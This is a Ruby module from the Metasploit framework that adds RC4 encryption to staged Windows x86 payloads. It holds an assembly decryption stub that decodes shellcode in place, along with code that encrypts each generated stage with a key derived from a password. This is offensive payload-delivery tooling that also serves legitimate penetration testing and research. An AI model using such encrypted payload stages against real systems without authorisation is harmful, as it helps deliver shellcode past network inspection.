lib/msf/core/payload/windows/rc4.rb
# -*- coding: binary -*-
module Msf
###
#
# RC4 decryption stub for Windows ARCH_X86 payloads
#
###
module Payload::Windows::Rc4
#
# Register rc4 specific options
#
def initialize(*args)
super
register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class)
end
#
# Generate assembly code that decrypts RC4 shellcode in-place
#
def asm_decrypt_rc4
%!
;-----------------------------------------------------------------------------;
; Author: Michael Schierl (schierlm[at]gmx[dot]de)
; Version: 1.0 (29 December 2012)
;-----------------------------------------------------------------------------;
; Input: EBP - Data to decode
; ECX - Data length
; ESI - Key (16 bytes for simplicity)
; EDI - pointer to 0x100 bytes scratch space for S-box
; Direction flag has to be cleared
; Output: None. Data is decoded in place.
; Clobbers: EAX, EBX, ECX, EDX, EBP (stack is not used)
; Initialize S-box
xor eax, eax ; Start with 0
init:
stosb ; Store next S-Box byte S[i] = i
inc al ; increase byte to write (EDI is increased automatically)
jnz init ; loop until we wrap around
sub edi, 0x100 ; restore EDI
; permute S-box according to key
xor ebx, ebx ; Clear EBX (EAX is already cleared)
permute:
add bl, [edi+eax] ; BL += S[AL] + KEY[AL % 16]
mov edx, eax
and dl, 0xF
add bl, [esi+edx]
mov dl, [edi+eax] ; swap S[AL] and S[BL]
xchg dl, [edi+ebx]
mov [edi+eax], dl
inc al ; AL += 1 until we wrap around
jnz permute
; decryption loop
xor ebx, ebx ; Clear EBX (EAX is already cleared)
decrypt:
inc al ; AL += 1
add bl, [edi+eax] ; BL += S[AL]
mov dl, [edi+eax] ; swap S[AL] and S[BL]
xchg dl, [edi+ebx]
mov [edi+eax], dl
add dl, [edi+ebx] ; DL = S[AL]+S[BL]
mov dl, [edi+edx] ; DL = S[DL]
xor [ebp], dl ; [EBP] ^= DL
inc ebp ; advance data pointer
dec ecx ; reduce counter
jnz decrypt ; until finished
!
end
def generate_stage(opts = {})
p = super(opts)
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
c1 = OpenSSL::Cipher.new('RC4')
c1.decrypt
c1.key = rc4key
p = c1.update(p)
[ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
end
def handle_intermediate_stage(_conn, _payload)
false
end
private
def rc4_keys(rc4pass = '')
m = OpenSSL::Digest.new('sha1')
m.reset
key = m.digest(rc4pass)
[key[0, 4], key[4, 16]]
end
end
end